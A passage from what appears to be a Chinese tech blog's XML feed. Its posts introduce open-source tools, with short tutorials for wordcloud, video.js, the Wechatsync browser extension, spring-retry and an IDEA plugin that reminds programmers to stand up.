C++、NodeJS、架构师、通用程序员相关岗位等。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051044310.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490497&idx=1&sn=e404a6575e7e43a02492ebe6756c2ac1&chksm=ceea3427f99dbd310952119d6bb3fc0af5f3d2f4956db4138d4670bbd1cd8e956c88934c87bf&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>6、<code>CopyQ</code>:这是一款高级剪贴板管理器,具有可搜索和可编辑的历史记录,保存的剪贴板可以直接复制并粘贴到任何应用程序中。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051044311.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490588&idx=1&sn=c76d3140fd1106ede1c50c4138ce8435&chksm=ceea33faf99dbaeca79ff44ec7fd2058fa6c8edb2f1f96593483ea7079f5444be4b474153b38&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>7、<code>ChineseBQB</code>:这是一个中文表情包大合集的开源项目,里面包含了 5512 张适合我们中国的表情包。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046947.jpg"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490651&idx=1&sn=39a43f1e297b184017797e48923360a8&chksm=ceea33bdf99dbaab95b288aad7ddcd4a6df3f13ddbf8907eedbe6971508441c6917f8ddbcee4&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>8、<code>seq2seq-couplet</code>: 这是一个利用人工智能帮你自动对对联的开源项目,你只要输入非繁体字的中文,程序就会利用人工智能帮你自行匹配合适的下联。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046948.jpg"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490652&idx=1&sn=c775f2f29b6364b53d50a59e2285b4fa&chksm=ceea33baf99dbaac0bd838255d2a3e12b7f5e75e262635d8f6c35b81a4433047a0b927a5621f&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>9、<code>Amazing-QR</code>:一款非常强大的一款DIY二维码项目,可以生成普通的二维码,也可以生成带有图片的二维码以及动态的二维码。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046949.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490779&idx=1&sn=cf9c0f2e195e99dc13186664110a9486&chksm=ceea333df99dba2b7472d09fc3e24cd0ccabe373bdf2db747045c39dbdc0f820648175d94f17&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>10、<code>Zadig </code>:是一款具备高可用 CI/CD 能力、提供云原生运行环境的持续交付产品,支持开发者本地联调、微服务并行构建和部署、集成测试等。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046950.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490797&idx=1&sn=8bebe011c8d9f05ff7204b6a66b1d813&chksm=ceea330bf99dba1df960dfe8bf12bbee76fa116c8b6dc394c8a941a963848dc21dfab42287df&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>11、<code>Luckysheet </code>:一款强大的、完全开源的类 Excel 在线表格。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046951.gif"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490865&idx=1&sn=cd80aee4e039e60525671475b378f909&chksm=ceea32d7f99dbbc182bd7847b2ec868f182611cf9df9a7f68e44e2f4bc8864cc32edbf9a4d8c&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>12、<code>Nettu Meet</code>:一个开源教辅视频会议应用。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046952.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490992&idx=1&sn=df0ee37508d521f8e51d8042cca317ae&chksm=ceea3256f99dbb40f8bb42dab4045767ddabd4c899e4fa5a301355d9415d794da38989895ca1&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>13、<code>在线简历生成器</code>:一款简单、模板精致、安全简历模板。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051046953.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247491032&idx=1&sn=0ae7c424a6d940aaeb964777209bc725&chksm=ceea323ef99dbb28ddb1a68dbbca22beee908050fab8ba937fa3434fbf5e2b2b9c8100d253ed&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>轻松抓住内容关键字!</title>
<link href="/blog/2022/03/31/qing-song-zhua-zhu-nei-rong-guan-jian-zi/"/>
<url>/blog/2022/03/31/qing-song-zhua-zhu-nei-rong-guan-jian-zi/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔。</p><p>今天给大家分享一个非常好用的行为词云图开源项目:<strong>wordcloud</strong>。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>当我们看到一篇文章或者电子书的时候,想知道文章或书中主要内容,则可以采用词云图来处理。<br>词云图就是对文本中出现频率较高的<strong>关键词</strong>进行可视化的展现。接下来跟着大叔来看看怎么使用吧。</p><h2 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h2><p>在使用之前我们先安装一下 wordcloud</p><pre class=" language-python"><code class="language-python">pip3 install wordcloud</code></pre><p>我们先来一个简单的例子,如下:</p><pre class=" language-python"><code class="language-python"><span class="token keyword">import</span> numpy <span class="token keyword">as</span> np<span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token keyword">from</span> wordcloud <span class="token keyword">import</span> WordCloudtext <span class="token operator">=</span> <span class="token string">"Hello wordcloud"</span>x<span class="token punctuation">,</span> y <span class="token operator">=</span> np<span class="token punctuation">.</span>ogrid<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">300</span><span class="token punctuation">,</span> <span class="token punctuation">:</span><span class="token number">300</span><span class="token punctuation">]</span>mask <span class="token operator">=</span> <span class="token punctuation">(</span>x <span class="token operator">-</span> <span class="token number">150</span><span class="token punctuation">)</span> <span class="token operator">**</span> <span class="token number">2</span> <span class="token operator">+</span> <span class="token punctuation">(</span>y <span class="token operator">-</span> <span class="token number">150</span><span class="token punctuation">)</span> <span class="token operator">**</span> <span class="token number">2</span> <span class="token operator">></span> <span class="token number">130</span> <span class="token operator">**</span> <span class="token number">2</span>mask <span class="token operator">=</span> <span class="token number">255</span> <span class="token operator">*</span> mask<span class="token punctuation">.</span>astype<span class="token punctuation">(</span>int<span class="token punctuation">)</span>wc <span class="token operator">=</span> WordCloud<span class="token punctuation">(</span>background_color<span class="token operator">=</span><span class="token string">"white"</span><span class="token punctuation">,</span> repeat<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> mask<span class="token operator">=</span>mask<span class="token punctuation">)</span>wc<span class="token punctuation">.</span>generate<span class="token punctuation">(</span>text<span class="token punctuation">)</span>plt<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">"off"</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>imshow<span class="token punctuation">(</span>wc<span class="token punctuation">,</span> interpolation<span class="token operator">=</span><span class="token string">"bilinear"</span><span class="token punctuation">)</span>plt<span class="token punctuation">.</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>运行效果图如下:</p><p><img src="https://files.mdnice.com/user/21486/cb5b1e25-f752-47cf-ad77-806b768bfcb8.png"></p><p>上面展示了引文的词语,我们去试一下中文看看效果如何。</p><pre class=" language-python"><code class="language-python"> d <span class="token operator">=</span> path<span class="token punctuation">.</span>dirname<span class="token punctuation">(</span>__file__<span class="token punctuation">)</span> <span class="token keyword">if</span> <span class="token string">"__file__"</span> <span class="token keyword">in</span> locals<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">else</span> os<span class="token punctuation">.</span>getcwd<span class="token punctuation">(</span><span class="token punctuation">)</span> text <span class="token operator">=</span> open<span class="token punctuation">(</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>d<span class="token punctuation">,</span> <span class="token string">'info.txt'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span> alice_mask <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>Image<span class="token punctuation">.</span>open<span class="token punctuation">(</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>d<span class="token punctuation">,</span> <span class="token string">"file/alice_mask.png"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> stopwords <span class="token operator">=</span> set<span class="token punctuation">(</span>STOPWORDS<span class="token punctuation">)</span> stopwords<span class="token punctuation">.</span>add<span class="token punctuation">(</span><span class="token string">"said"</span><span class="token punctuation">)</span> wc <span class="token operator">=</span> WordCloud<span class="token punctuation">(</span>font_path<span class="token operator">=</span><span class="token string">"Hiragino Sans GB.ttc"</span><span class="token punctuation">,</span>background_color<span class="token operator">=</span><span class="token string">"white"</span><span class="token punctuation">,</span> max_words<span class="token operator">=</span><span class="token number">2000</span><span class="token punctuation">,</span> mask<span class="token operator">=</span>alice_mask<span class="token punctuation">,</span> stopwords<span class="token operator">=</span>stopwords<span class="token punctuation">,</span> contour_width<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> contour_color<span class="token operator">=</span><span class="token string">'steelblue'</span><span class="token punctuation">)</span> wc<span class="token punctuation">.</span>generate<span class="token punctuation">(</span>text<span class="token punctuation">)</span> wc<span class="token punctuation">.</span>to_file<span class="token punctuation">(</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>d<span class="token punctuation">,</span> <span class="token string">"alice.png"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> plt<span class="token punctuation">.</span>imshow<span class="token punctuation">(</span>wc<span class="token punctuation">,</span> interpolation<span class="token operator">=</span><span class="token string">'bilinear'</span><span class="token punctuation">)</span> plt<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">"off"</span><span class="token punctuation">)</span> plt<span class="token punctuation">.</span>figure<span class="token punctuation">(</span><span class="token punctuation">)</span> plt<span class="token punctuation">.</span>imshow<span class="token punctuation">(</span>alice_mask<span class="token punctuation">,</span> cmap<span class="token operator">=</span>plt<span class="token punctuation">.</span>cm<span class="token punctuation">.</span>gray<span class="token punctuation">,</span> interpolation<span class="token operator">=</span><span class="token string">'bilinear'</span><span class="token punctuation">)</span> plt<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">"off"</span><span class="token punctuation">)</span> plt<span class="token punctuation">.</span>show<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>运行效果如下:<br><img src="https://files.mdnice.com/user/21486/066099c9-9878-4021-80df-1f3f5da6d1d9.png"><br>是不是看起来很酷,通过上面的介绍可以看出底图是可以随意调整的,可以换成自己喜欢的图片,但是有个问题需要注意,如果是中文的话,则需要指定字体 例如 Mac 中得到字体的信息:<br><img src="https://files.mdnice.com/user/21486/b465c840-65a7-4d9b-b27a-4561b85ec232.png"><br>找到 ttc 格式的字体文件 copy 到自己项目中就可以方便的使用啦。</p><h2 id="大叔总结"><a href="#大叔总结" class="headerlink" title="大叔总结"></a>大叔总结</h2><p>上面大叔只是介绍了 wordcloud 的简单使用,在使用的时候还有其他的高级设置,大家可以试起来哦。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>轻松搞定视频在线播放!</title>
<link href="/blog/2022/03/31/qing-song-gao-ding-shi-pin-zai-xian-bo-fang/"/>
<url>/blog/2022/03/31/qing-song-gao-ding-shi-pin-zai-xian-bo-fang/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹。今天给大家介绍一款超轻量级中文ocr的开源项目,<strong>video.js</strong>。 </p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>video.js 是一款为 HTML5 打造的网络视频播放器。它支持 HTML5 和 Flash 视频,以及 YouTube 和 Vimeo(通过插件)。它支持在台式机和移动设备上播放视频。该项目于 2010 年年中启动,目前已在超过 50000 个网站上使用该播放器。</p><h2 id="简单使用"><a href="#简单使用" class="headerlink" title="简单使用"></a>简单使用</h2><p>首先在页面中引入所需的 js 文件和 样式,当然也可以通过npm进行操作,我们就直接在页面上引入文件来实现。</p><pre class=" language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>utf-8<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>//vjs.zencdn.net/7.10.2/video-js.min.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>//vjs.zencdn.net/7.10.2/video.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>video</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>my-video<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>video-js<span class="token punctuation">"</span></span> <span class="token attr-name">controls</span> <span class="token attr-name">preload</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>auto<span class="token punctuation">"</span></span> <span class="token attr-name">width</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>640<span class="token punctuation">"</span></span> <span class="token attr-name">height</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>264<span class="token punctuation">"</span></span> <span class="token attr-name">poster</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>MY_VIDEO_POSTER.jpg<span class="token punctuation">"</span></span> <span class="token attr-name">data-setup</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>&amp;#123;&amp;#125;<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>//vjs.zencdn.net/v/oceans.mp4<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>video/mp4<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>video</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre><p>运行效果如下:</p><p><img src="https://files.mdnice.com/user/21486/5b0e9b67-229b-4ba4-b7af-bbcb3f417d0f.png"><br><img src="https://files.mdnice.com/user/21486/11bea474-d410-4054-9695-d925d64de72f.png"></p><p>但是按钮竟让没有居中属实有点丑了,别慌,在 video 标签上增加类”vjs-big-play-centered“即可。<br>但是一开始看到的视频画面是黑乎乎的一片,是否可以设置封面图呢?<br>通过 poster 进行性设置。<br>设置以上两种属性之后运行效果如下:</p><p><img src="https://files.mdnice.com/user/21486/c1bf7734-e2ba-464e-a30a-e1b0d1a52634.png"><br>使用起来什方便,就简单几行代码就搞定了视频播放器,当然除了上面介绍的简单使用,在日常开发中还有一些额外的场景,例如获取视频的总时间等。这个时候则需要写一部分代码了 如下:</p><pre class=" language-javascript"><code class="language-javascript"> <span class="token keyword">var</span> myvideo<span class="token operator">=</span><span class="token function">videojs</span><span class="token punctuation">(</span><span class="token string">"myvideo"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> myvideo<span class="token punctuation">.</span><span class="token function">ready</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"已就绪"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span> onclick<span class="token operator">=</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//获取总时间</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myvideo<span class="token punctuation">.</span><span class="token function">duration</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>因为 videojs 是封装好的方法,所以可以通过它设置一些属性以及调用它封装好的方法。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过上面小妹的介绍是不是感觉创建视频播放器很简单呢?那就赶快去试一试吧。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>一个插件,搞定多平台发布</title>
<link href="/blog/2022/03/27/yi-ge-cha-jian-gao-ding-duo-ping-tai-fa-bu/"/>
<url>/blog/2022/03/27/yi-ge-cha-jian-gao-ding-duo-ping-tai-fa-bu/</url>
<content type="html"><![CDATA[<p>大家好,我是爱写文章的开源大叔。</p><p>作为一名优秀的内容创作者(文章刚写了个开头,小妹就在我背后偷窥并不合时宜的撇了撇嘴),大叔要经常在多个平台发布自己的原创作品,希望把知识分享给更多的人,也希望得到大家的认可。但是重复的复制粘贴同一篇文章到各个平台的编辑页面,实在是太麻烦了,而且这种手工的机械化操作,非常不极客。所以大叔今天就给大家分享一个自己在用的开源插件——Wechatsync。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>Wechatsync 是一个开源的 Chrome 插件,他可以一键同步文章到多个内容平台,支持但不限于今日头条、WordPress、知乎、简书、掘金、CSDN、typecho 等各大平台。其目标是一次发布,多平台同步发布,从而大大的解放个人生产力,让广大的自媒体朋友们能够把更多的精力放到内容创作上。</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><h3 id="安装插件"><a href="#安装插件" class="headerlink" title="安装插件"></a>安装插件</h3><p>首先,当然是要安装 Chrome 插件。安装插件有两种方式,第一种是到扩展程序商城中安装,但是鉴于国内的网络状况,还是使用第二种方式吧。</p><ol><li>从项目的下载链接下载插件压缩包,并解压</li><li>打开 <code>chrome://extensions</code>,进入扩展程序管理界面</li><li>右上角开启“开发者模式”</li><li>将刚才解压的文件夹直接拖入到界面中,即可完成安装</li></ol><h3 id="登录账号"><a href="#登录账号" class="headerlink" title="登录账号"></a>登录账号</h3><p>安装完插件,只需要在浏览器中登录你各个平台的账号就可以了,插件会自动记录你的登录状态,并展示出你每个平台的账号名称。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220327103428075.png"></p><h3 id="同步文章"><a href="#同步文章" class="headerlink" title="同步文章"></a>同步文章</h3><p>文章的同步方式也很简单,你可以在自己的公众号先发表要同步的文章,然后用浏览器打开,这时左边就会出现「同步该文章」的按钮,点击按钮,勾选你的平台列表,直接点击同步,就可以同步到各个平台了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-20220327103429412.png"></p><p>之后点击查看草稿,就会自动进入对应平台的草稿箱,简单地处理一些细节之后,就可以发布啦。</p><p>如果你要同步的不是公众号文章,也可以在文章页面单击右键,选择「提取文章并同步」,插件会自动生成一篇格式规范的文章,之后再点击「同步」按钮,按照之前的流程处理就好啦。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/png-8348467.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>使用了一段时间,大叔发现 Wechatsync 真的是太方便了,省去了很多繁琐的操作,真是内容创作者的必备工具。如果你也经常在多个平台同时发布文章,真的推荐你来试试这个插件。赶快到公众号后台回复「小分队」,获取开源项目的地址和插件下载链接吧~</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>纳尼?这么麻烦的逻辑一个注解就搞定了?</title>
<link href="/blog/2022/03/27/na-ni-zhe-me-ma-fan-de-luo-ji-yi-ge-zhu-jie-jiu-gao-ding-liao/"/>
<url>/blog/2022/03/27/na-ni-zhe-me-ma-fan-de-luo-ji-yi-ge-zhu-jie-jiu-gao-ding-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是热爱撸码的开源大叔。</p><p>最近让小妹做的一个需求,需要调用第三方接口。正常情况下,接口的响应是符合要求的,只有在网络抖动等极少数的情况下,会存在超时情况。因为是小概率事件,所以一次超时之后,进行一次重试操作应该就可以了。小妹提交了代码,让我做 code review。代码差不多是这样的:</p><pre class=" language-CSS"><code class="language-CSS">@Controllerpublic class RetryController &#123; @Autowired private RetryRequestService retryRequestService; public String doSth(String param) &#123; int count = 0; String result = ""; while (count < 3) &#123; try &#123; result = retryRequestService.request(param); break; &#125; catch (Exception e) &#123; count++; &#125; &#125; return "响应是" + result; &#125;&#125;</code></pre><p>大叔看完之后,感觉通过固定次数的循环来实现重试,虽然功能实现了,但是不够简洁呀,对原有代码逻辑的侵入性太强了。于是我给小妹推荐了超好用的重试框架,spring-retry。</p><h2 id="简介与快速接入"><a href="#简介与快速接入" class="headerlink" title="简介与快速接入"></a>简介与快速接入</h2><p>spring-retry 是 Spring 全家桶中提供的开源重试框架,如果你用的是 Spring Boot 项目,那么接入起来会非常简单,只需要三步即可实现快速接入。</p><h3 id="第一步,引入依赖"><a href="#第一步,引入依赖" class="headerlink" title="第一步,引入依赖"></a>第一步,引入依赖</h3><pre class=" language-XML"><code class="language-XML"><!--springboot项目都不用引入版本号--><dependency> <groupId>org.springframework.retry</groupId> <artifactId>spring-retry</artifactId></dependency><!--还是需要aop的支持的--><dependency> <groupId>org.springframework</groupId> <artifactId>spring-aspects</artifactId></dependency></code></pre><h3 id="第二步,在启动类上加注解-EnableRetry"><a href="#第二步,在启动类上加注解-EnableRetry" class="headerlink" title="第二步,在启动类上加注解 @EnableRetry"></a>第二步,在启动类上加注解 @EnableRetry</h3><p>此举是让你的 Spring Boot 项目支持 spring-retry 的重试功能。像这样:</p><pre class=" language-TypeScript"><code class="language-TypeScript">@SpringBootApplication@EnableRetrypublic class ApplicationServer &#123; public static void main(String[] args) &#123; SpringApplication.run(ApplicationServer.class, args); System.out.println("startApp success!"); &#125;&#125;</code></pre><h3 id="第三步,在需要重试的方法上加注解-Retryable"><a href="#第三步,在需要重试的方法上加注解-Retryable" class="headerlink" title="第三步,在需要重试的方法上加注解 @Retryable"></a>第三步,在需要重试的方法上加注解 @Retryable</h3><p>如开头所说,我们需要重试的方法是<code>RetryRequestService#request</code>这个方法。那么我们就在这个方法上加<code>@Retryable</code>注解。如下:</p><pre class=" language-TypeScript"><code class="language-TypeScript">@Service@Slf4jpublic class RetryRequestService &#123; @Autowired private OtherSystemSpi otherSystemSpi; @Retryable(value = RuntimeException.class, maxAttempts = 5, backoff = @Backoff(delay = 100)) public String request(String param) &#123; double random = Math.random(); log.info("请求进来了,随机值为:" + random); if (random > 0.1) &#123; throw new RuntimeException("超时"); &#125; return otherSystemSpi.request(param); &#125;&#125;</code></pre><p>当然,我们这里写了个调皮的逻辑来模拟超时。如果随机值大于0.1则抛出一个<code>RuntimeException</code>异常。每次请求进来时都会输出日志。</p><p>我来解释一下<code>@Retryable</code>注解中的信息。</p><ul><li>value = RuntimeException.class:是指方法抛出<code>RuntimeException</code>异常时,进行重试。这里可以指定你想要拦截的异常。</li><li>maxAttempts:是最大重试次数。如果不写,则是默认 3 次。</li><li>backoff = @Backoff(delay = 100):是指重试间隔。delay=100 意味着下一次的重试,要等 100 毫秒之后才能执行。</li></ul><p>我们来执行一下,可以看到日志输出:</p><pre class=" language-CSS"><code class="language-CSS">2022-03-15 23:51:19.762 INFO 3343 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.110302147740987122022-03-15 23:51:19.867 INFO 3343 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.09624689154608002</code></pre><p>前两次的随机值都大于 0.1,所以进行了重试,而且注意时间,都是间隔了大概 100 毫秒输出的日志。第三次的随机值小于 0.1,就直接返回了。</p><p>我又试了几次,使五次请求的随机值都大于 0.1 ,则结果是进行了五次请求,最后抛出了个异常。</p><pre class=" language-CSS"><code class="language-CSS">2022-03-15 23:52:58.201 INFO 3449 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.52656441925252882022-03-15 23:52:58.303 INFO 3449 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.63435387448764322022-03-15 23:52:58.407 INFO 3449 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.54824638535750782022-03-15 23:52:58.511 INFO 3449 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.56249232856410712022-03-15 23:52:58.616 INFO 3449 --- [main] c.o.service.retry.RetryRequestService : 请求进来了,随机值为:0.305945622979098Exception in thread "main" java.lang.RuntimeException: 超时 at com.opensource.service.retry.RetryRequestService.request(RetryRequestService.java:24) at com.opensource.service.retry.RetryRequestService$$FastClassBySpringCGLIB$$50f0bdca.invoke(<generated>)</code></pre><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>怎么样,spring-retry 的接入和使用是不是非常简单?只需要一个注解,就可以省去你自己写的复杂的重试代码,方便省心。而且它还支持重试间隔时间随机等更多的功能,需要大家自己探索啦。今天就分享到这里,在公众号后台回复「小分队」即可获取开源项目的地址啦~</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>不闹,这个真的很重要!</title>
<link href="/blog/2022/03/25/bu-nao-zhe-ge-zhen-de-hen-chong-yao/"/>
<url>/blog/2022/03/25/bu-nao-zhe-ge-zhen-de-hen-chong-yao/</url>
<content type="html"><![CDATA[<p>Hello!大家好,我是爱编码的开源大叔,今天我们说一个很重要的事情!</p><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近这段时间,各种猝死的新闻层出不穷,这显然不是我们想要的所谓“996 福报”。我们应当引起相应的重视,爱护好我们的身体,毕竟爷爷也说过“身体才是最重要的”。</p><p>对于我们程序员来说,白天开会讨论需求,晚上加班写代码,熬夜发版本,上线改 Bug。工作日就是:开会、写代码、倒水、上厕所、抽烟、改 Bug,好不容易到周末的时候,可能一摊就是在家一天,很少能有运动的时间。</p><p>再好的身体,也会被这种高强度的工作,无规律的生活所击垮。随着年龄越来越大,加上每天久坐不起来运动运动,这样下去身体真的顶不住,久坐有挺多危害的:</p><ul><li>久坐可能会导致心脑血管疾病增加</li><li>久坐可能会导致免疫力低下</li><li>久坐可能会导致损脑伤胃</li><li>久坐可能会得痔疮</li></ul><p>说实在的,大叔现在也很在意自己的身体的,所以就去万能的 GitHub 上看了看,别说,还真让我发现了一个好东西,他能每隔一段时间就提醒我们起来运动一下,就像下面这样:</p><p><img src="https://files.mdnice.com/user/21062/5c2224a9-7ede-4136-b7df-5564c4bb141a.gif"></p><h3 id="安装教程"><a href="#安装教程" class="headerlink" title="安装教程"></a>安装教程</h3><ol><li><p>下载 jar 包</p></li><li><p>安装插件<br>打开 IDEA 设置 -&gt; Plugins -&gt; 右上角齿轮 -&gt; Install Plugin from Disk</p></li></ol><p><img src="https://files.mdnice.com/user/21062/78e724ef-c834-481b-8a07-e616dc7db9cb.png"><br>3. 开启插件</p><p><img 